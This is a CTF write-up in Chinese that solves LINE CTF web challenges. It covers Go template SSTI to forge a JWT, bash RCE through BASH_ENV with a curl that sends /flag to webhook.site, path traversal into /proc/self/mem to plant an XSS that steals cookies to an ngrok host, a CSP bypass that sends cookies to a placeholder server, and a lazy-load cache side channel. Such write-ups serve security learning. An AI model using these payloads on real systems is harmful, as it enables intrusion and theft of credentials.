在 Goburin' 裡面解了幾題 LINE CTF 的 web 題目,因為有幾題有趣的
client side challenges 所以寫了這篇記錄一些解法。
gotm
一個 golang 的服務,提供了 register 和 login,以 JWT 做認證。目標是要
sign 一個 admin 的 JWT 就能拿 flag。
題目的關鍵在這邊:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 type Account struct { id string pw string is_admin bool secret_key string } func root_handler (w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token" ) if token != "" { id, _ := jwt_decode(token) fmt.Println(id) acc := get_account(id) fmt.Println(acc) tpl, err := template.New("" ).Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else { return } }
其中 acc.id
是註冊的 username,使用者可控,所以有
SSTI。因為 acc
上有 secret_key
所以可以用
{{.}}
leak 出來,然後 JWT sign 自己的 token
即可。
1 2 3 4 5 6 curl 'http://34.146.226.125/regist' --data 'id={{.}}&pw=asd' curl 'http://34.146.226.125/auth' --data 'id={{.}}&pw=asd' curl 'http://34.146.226.125/' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.rthp4OaE1Iau8Q9PIxoB-F9VGukYpbX1I-GpPPDSGhM' curl 'http://34.146.226.125/' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InBla28iLCJpc19hZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ4MzE1NDMxfQ.CBzvISXJXsSScg8pvb0okNUKolceJabxYoD9hrSdRmU'
bb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 ); function bye ($s , $ptn ) { if (preg_match ($ptn , $s )){ return false ; } return true ; } foreach ($_GET ["env" ] as $k =>$v ){ if (bye ($k , "/=/i" ) && bye ($v , "/[a-zA-Z]/i" )) { putenv ("{$k} ={$v} " ); } } system ("bash -c 'imdude'" ); foreach ($_GET ["env" ] as $k =>$v ){ if (bye ($k , "/=/i" )) { putenv ("{$k} " ); } } highlight_file (__FILE__ ); ?>
它會從 env[k]=v
參數設定環境變數,然後執行
bash。目標是要 RCE 讀 /flag
。
看到這題就讓我想到了不久前看到的這篇 tweet
(還有它所連結的文章 ),裡面介紹了一些怎麼在只有環境變數可控的時候讓
bash RCE。(可上傳檔案的話有 LD_PRELOAD
)
它主要有兩個方法:
1 2 BASH_ENV='$(id 1>&2)' bash -c 'echo hello' env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
因為一些未知的原因 BASH_FUNC_imdude
我在 Docker
環境中測試都失敗,但 local 直接跑 php -S
有成功,所以採用了
BASH_ENV
的路線。
可注入之後還要繞它不能有英文字母的 filter,這部分用像是
$'\151\144'
($'id'
) 這樣的 octal encoding
去繞即可。
因為有一些 encoding 要弄所以寫個腳本生 payload 比較方便:
1 2 3 4 5 6 7 8 9 10 11 from urllib.parse import quote_pluscmd = b"curl https://webhook.site/62cc2e32-cce1-49de-9528-a11a4476d9e5 -F flag=@/flag" parts = cmd.split(b' ' ) cmd = ["$'" +'' .join([f'\\{x:03o} ' for x in p])+"'" for p in parts] cmd = ' ' .join(cmd) payload = "$(%s)" % cmd print (payload)print (quote_plus(payload))
生成的 url 是:
1 http://34.84.151.109/?env[BASH_ENV]=%24%28%24%27%5C143%5C165%5C162%5C154%27+%24%27%5C150%5C164%5C164%5C160%5C163%5C072%5C057%5C057%5C167%5C145%5C142%5C150%5C157%5C157%5C153%5C056%5C163%5C151%5C164%5C145%5C057%5C066%5C062%5C143%5C143%5C062%5C145%5C063%5C062%5C055%5C143%5C143%5C145%5C061%5C055%5C064%5C071%5C144%5C145%5C055%5C071%5C065%5C062%5C070%5C055%5C141%5C061%5C061%5C141%5C064%5C064%5C067%5C066%5C144%5C071%5C145%5C065%27+%24%27%5C055%5C106%27+%24%27%5C146%5C154%5C141%5C147%5C075%5C100%5C057%5C146%5C154%5C141%5C147%27%29
online library
這題有個 node.js 的服務,目標要用 xss 拿 bot 的 cookie。bot
的話只接受該服務上的任意 path,不能是外部的網址。
此題關鍵在這邊:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 app.get ("/:t/:s/:e" , (req : Express .Request , res : Express .Response ): void => { const s : number = Number (req.params .s ) const e : number = Number (req.params .e ) const t : string = req.params .t if ((/[\x00-\x1f]|\x7f|\<|\>/ ).test (t)) { res.end ("Invalid character in book title." ) } else { Fs .stat (`public/${t} ` , (err : NodeJS .ErrnoException , stats : Fs .Stats ): void => { if (err) { res.end ("No such a book in bookself." ) } else { if (s !== NaN && e !== NaN && s < e) { if ((e - s) > (1024 * 256 )) { res.end ("Too large to read." ) } else { Fs .open (`public/${t} ` , "r" , (err : NodeJS .ErrnoException , fd : any): void => { if (err || typeof fd !== "number" ) { res.end ("Invalid argument." ) } else { let buf : Buffer = Buffer .alloc (e - s); Fs .read (fd, buf, 0 , (e - s), s, (err : NodeJS .ErrnoException , bytesRead : number, buf : Buffer ): void => { res.end (`<h1>${t} </h1><hr/>` + buf.toString ("utf-8" )) }) } }) } } else { res.end ("There isn't size of book." ) } } }) } });
這是一個可以指定檔名,還有 start 和 end 位置去讀檔的 route。
明顯的有個 path traversal 可以任意讀檔,例如
/..%2f..%2fproc%2fself%2fenviron/0/1024
可以讀環境變數。要
xss 的話很明顯是要想辦法找個 file system 中的檔案,裡面有存放 payload
的話就能 xss。
這題有使用 express-session
處理
session,不過它預設是使用 memory store 作為 session store 的,不會在
file system 留檔案。另外這個 container 裡面也沒有 nginx 或是 apache
之類的服務可以 LFI (e.g. PHP
LFI with Nginx Assistance )。
我的做法是想說 /proc/self/mem
會是當前 node process
的記憶體,代表 payload 肯定會存在於某個 offset 中。使用
/proc/self/maps
就能取得目前記憶體中有哪些
pages,合理猜測變數存在的 v8 heap 大概是 rw page,所以 filter
過後嘗試去讀取各個 page 的內容看看裡面有沒有藏 payload 就能得到有 xss 的
url。
為了增加成功率可以利用 POST /identify
這個 route 有個
total.push(req.body.username)
,其中 total
是個會定時清除的 global array。只要先讓 payload 進到 total
的話它在我們找到目標 page 之前被 gc 的機率比較低。
另外還有一些小麻煩是 submit xss 時要 handle 的自幹的
captcha,不過因為那是直接用 canvas 畫的,字體都很端正、乾淨所以用 pytesseract
就能解決。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import requestsimport osimport pytesseractfrom PIL import Imagefrom urllib.request import urlopenimport iobaseurl = "http://35.243.100.112" def build_url (path: str , start, end ) -> str : return baseurl + "/" + path.replace("/" , "%2f" ) + f"/{start} /{end} " def read_file (path: str , start=0 , end=1024 * 256 ) -> bytes : return requests.get(build_url(path, start, end)).content.split(b"<hr/>" )[1 ] def parse_maps (maps: str ): ar = [] for line in maps.strip("\0\r\n " ).splitlines(): mem, perm, *_ = line.split(" " ) start, end = [int (x, 16 ) for x in mem.split("-" )] ar.append((start, end, perm)) return ar def read_mem (start, end, bs=1024 * 256 ): if (end - start) // bs > 5 : return b"" ret = b"" for i in range (start, end, bs): s = i e = min (i + bs, end) ret += read_file("../../proc/self/mem" , s, e) return ret def get_sess (): sess = requests.Session() username = "<script>new Image().src='https://9295-8-39-126-53.ngrok.io?'+document.cookie</script>" username += os.urandom(128 ).hex ()[: (99 - len (username))] j = sess.post(baseurl + "/identify" , data={"username" : username}).json() assert not j["error" ] return username, sess def get_captcha (sess ): imgb64 = sess.get(baseurl + "/report" ).text.split('<img src="' )[1 ].split('"/>' )[0 ] resp = urlopen(imgb64) img = Image.open (io.BytesIO(resp.file.read())) captcha = pytesseract.image_to_string(img).strip() return captcha def report_path (sess, path ): resp = sess.post( baseurl + "/report" , {"captcha" : get_captcha(sess), "url" : url[len (baseurl) :]} ).json() if resp["error" ]: return report_path(sess, path) return resp selfmaps = read_file("../../proc/self/maps" ).decode() rw_pages = [(s, e) for s, e, p in parse_maps(selfmaps) if "rw" in p] print (rw_pages)username, sess = get_sess() for i, page in enumerate (rw_pages): print (i) mem = read_mem(*page) if username.encode() in mem: print ("found" , page) url = build_url("../../proc/self/mem" , *page) print (url) print (report_path(sess, url[len (baseurl) :]))
Haribote Secure Note
這題是個 flask 的 note 服務,目標也是要用 xss 拿 bot 的 cookie。
可以看到說它的 template 檔案名稱都是以 .j2
結尾。雖然一樣是 Jinja2 template,但是很快就會發現它根本不會 escape
html。這個是因為 flask 預設只會
escape HTML/XML/XHTML ,所以有很多注入點。
不過這題麻煩的是它的 CSP 如下:
1 2 default-src 'self' ; style-src 'unsafe-inline' ; object-src 'none' ; base-uri 'none' ; script-src 'nonce-{{ csp_nonce }}' 'unsafe-inline' ; require-trusted-types-for 'script' ; trusted-types default
Inline 需要有 nonce,要不然就要 trusted types:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <script nonce ="{{ csp_nonce }}" > (() => { trustedTypes.createPolicy ("default" , { createHTML (unsafe ) { return unsafe .replace (/&/g , "&" ) .replace (/</g , "<" ) .replace (/>/g , ">" ) .replace (/"/g , """ ) .replace (/"/g , "'" ) } }); })(); </script >
可以到它這個很難繞,因為所有的 innerHTML
assignment
都會經過這個 filter 而被擋下。
題目的一個關鍵是它有個 display name 可以自由設定,長度限制在 16
以內。它會被放到這邊的 shared_user_name
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <script nonce ="{{ csp_nonce }}" > const printInfo = ( ) => { const sharedUserId = "{{ shared_user_id }}" ; const sharedUserName = "{{ shared_user_name }}" ; const div = document .createElement ('div' ); div.classList .add ('alert' ) div.classList .add ('alert-warning' ) div.innerHTML = [ `[debug:${new Date ().toISOString()} ]` , `UserId="${sharedUserId} "` , `DisplayName="${sharedUserName} "` ].join (' ' ); const sharedUserInfo = document .getElementById ('sharedUserInfo' ); sharedUserInfo.replaceChildren (div); } const printInfoBtn = document .getElementById ('printInfoBtn' ); printInfoBtn.addEventListener ('click' , printInfo); </script >
使用 "+alert(1)+"
可以有個非常簡短的 xss,但是因為 CSP
的原因沒辦法用 eval
相關的方法繞。
PS: bot 會點擊 #printInfoBtn
另一個地方是這邊:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <script nonce ="{{ csp_nonce }}" > const render = notes => { const noteArea = document .getElementById ("notes" ); notes.sort ((a, b ) => Date .parse (a.createdAt ) - Date .parse (b.createdAt )); for (const note of notes) { const noteDiv = document .createElement ("div" ); noteDiv.classList .add ("p-2" ) noteDiv.classList .add ("bg-light" ) noteDiv.classList .add ("border" ) const title = document .createElement ("h2" ); title.innerHTML = note.title ; noteDiv.appendChild (title); const content = document .createElement ("p" ); content.innerHTML = note.content ; noteDiv.appendChild (content); const createdAt = document .createElement ("time" ); createdAt.innerHTML = `Created at: ${note.createdAt} ` ; noteDiv.appendChild (createdAt) noteArea.appendChild (noteDiv); } }; render ({{ notes }}) </script >
其中的 notes
是個 python array,放在會直接被 Jinja2 透過
str
或是 repr
轉成 string,不過因為 python 和
javascript 都能使用 single quote 包住 string 所以不是問題。
顯然的,只要讓你的 note 的 title 或是 content 裡面出現
</script>
就能脫離 script tag inject 任意 html。
我的做法是利用了這篇提到的
bypass ,就是在有 nonce
的 script tag 中出現
import('data:text/javascript,alert(1)')
的話是可以執行的。
因此方法到這邊就很明確了,在 display name 那邊塞
"+import(y)+"
,然後用 <a>
dom clobbering
放 payload 即可。因為 title 和 content 分別有 64 和 128
的長度限制,我還要用另一個 <a>
去塞 url。
完整的 payload:
1 2 3 4 5 6 7 8 9 10 display name: "+import(y)+" title: </script><a id=x href="//SERVER"></a> content: <a id=y href="data:text/javascript,open(x+`?`+document.cookie);alert()"></a> # LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}
另外這題還有一些不同的作法,一個可以看這篇 ,它使用的是
javascript + html 的 comment 混和讓 parser 進入了 script
data double escaped state ,然後成功在 content 放 js payload
執行。
另一個做法比較接近我的 idea,就是注入
<iframe src=/p name=f></iframe>
,然後一樣是 dom
clobbering 去塞 payload。而 display name inject 的程式碼是
f.eval(p)
這樣弄。因為它 CSP 是利用 html meta tag
弄的,所以不存在的頁面沒有 CSP,自然可以 eval。
題名的 ハリボテ (Haribote) 去查了一下意義,在中文中大致可表示為
"紙老虎"。解完也真的是覺得它保護很多,但實際上也只是紙老虎而已
title todo
這題是另一個 flask 服務,一樣有個 xss bot 在。但這題的 flag 格式是
LINECTF{([0-9a-f]/){10}}
,看起來就一股 side channel
的味道。
題目允許你上傳圖片並指定 title,然後將生成的頁面 share 給 admin。CSP
也是相當的嚴格,至少我想不到繞過的辦法。
題目的第一個洞是 image.html
裡面的這行:
1 <img src ={{ image.url }} class ="mb-3" >
因為它沒 quote src 起來所以可以注入其他的 attribute,只是因為 CSP
所以沒有 xss,也沒有 css injection 等等。
另外它上傳和新增頁面部分的 code 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 @app.route('/image/upload' , methods=['POST' ] ) @login_required def upload_image (): img_file = request.files['img_file' ] if img_file: ext = os.path.splitext(img_file.filename)[1 ] if ext in ['.jpg' , '.png' ]: filename = uuid4().hex + ext img_path = os.path.join(app.config.get('UPLOAD_FOLDER' ), filename) img_file.save(img_path) return jsonify({'img_url' : f'/static/image/{filename} ' }), 200 return jsonify({}), 400 @app.route('/image' , methods=['GET' , 'POST' ] ) @login_required def create_image (): if request.method == 'POST' : title = request.form.get('title' ) img_url = request.form.get('img_url' ) if title and img_url: if not img_url.startswith('/static/image/' ): flash('Image creation failed' ) return redirect(url_for('create_image' )) image = Image(title=title, url=img_url, owner=current_user) db.session.add(image) db.session.commit() res = redirect(url_for('index' )) res.headers['X-ImageId' ] = image.id return res return redirect(url_for('create_image' )) elif request.method == 'GET' : return render_template('create_image.html' )
可見它是分開兩步驟上傳的。POST /image/upload
之後會先拿到上傳之後的 path,然後 POST /image
時順便提供
img_url
,而 img_url
因為只檢查了開頭所以後面塞空白就在上面那個地方注入 attribute。
另一個很重要的關鍵是它的 nginx.conf
有這段:
1 2 3 4 5 6 7 8 9 10 location /static { uwsgi_cache one; uwsgi_cache_valid 200 5m ; uwsgi_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary; include uwsgi_params; uwsgi_pass app; add_header X-Cache-Status $upstream_cache_status ; }
可知它會 cache /static
底下的 path 五分鐘,然後 cache
status 會放到 X-Cache-Status
這個 header 之中。
另外是當 admin 瀏覽頁面的時候會在 footer 出現 flag:
1 2 3 4 5 <footer class ="footer" > {% if current_user.is_admin %} {{ config.get('FLAG') }} {% endif %} </footer >
我的作法使用了 Scroll to Text
Fragment ,它就是在 hash 的部分放上 #:~:text=something
之類的字串,然後瀏覽器會自動 scroll
到目標字串去而已(如果字串存在的話)。
這個的一個常見打法是結合 <img>
的
loading="lazy"
attribute,只有在 image 進入 viewport
的時候瀏覽器才會去發送 request 載入圖片。只要在 title
塞很長很長的東西,然後用 attribute injection 讓它 lazy load
圖片的話瀏覽器預設是不會發送 request 到 /static/???.jpg
的。
但是 flag 的位置是在 footer,當 #:~:text=LINECTF{
有
match 到的話它就會自動 scroll 到底部,而 <img>
會進到
viewport 然後會發送 request 給 /static/???.jpg
。因為有
X-Cache-Status
的存在,可以簡單的利用它是 HIT
還是 MISS
判斷圖片是否有被載入過,也就是有沒有 match 到
flag prefix 後 scroll 到底部。
由此就有個判斷 flag prefix 的 oracle,之後直接爆搜就能還原整個 flag
了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import httpximport timeimport asynciowith open ("white.jpg" , "rb" ) as f: white_jpg = f.read() async def upload (client: httpx.Client, name: str , data: bytes ) -> str : resp = await client.post("/image/upload" , files={"img_file" : (name, data)}) return resp.json()["img_url" ] async def create_image (client: httpx.Client, title: str , img_url: str ) -> str : resp = await client.post( "/image" , data={"title" : title, "img_url" : img_url}, allow_redirects=False ) return resp.headers.get("X-ImageId" ) async def share (client: httpx.Client, path: str ): await client.post("/share" , json={"path" : path}) async def check_cached (client: httpx.Client, path: str ) -> bool : return (await client.get(path)).headers["X-Cache-Status" ] == "HIT" async def check_flag_prefix (client: httpx.Client, prefix: str ) -> bool : img_path = await upload(client, "white.jpg" , white_jpg) img_id = await create_image(client, b"x" * 2048 , img_path + " loading=lazy" ) await share(client, f"image/{img_id} #:~:text={prefix} " ) await asyncio.sleep(1 ) return await check_cached(client, img_path) async def main (): base_url = "http://35.187.204.223" async with httpx.AsyncClient(base_url=base_url) as client: await client.post( "/login" , data={"username" : "supernene" , "password" : "supernene" } ) flag = "LINECTF{" while True : cands = [f"{flag} {i:x} /" for i in range (16 )] for cand in cands: if await check_flag_prefix(client, cand): flag = cand break else : flag += "}" break print (flag) print (flag) asyncio.run(main())
flag 之所以要加上 /
是因為 Chromium 在 match 的時候只會
match 整個 word,比較好避免這種 side channel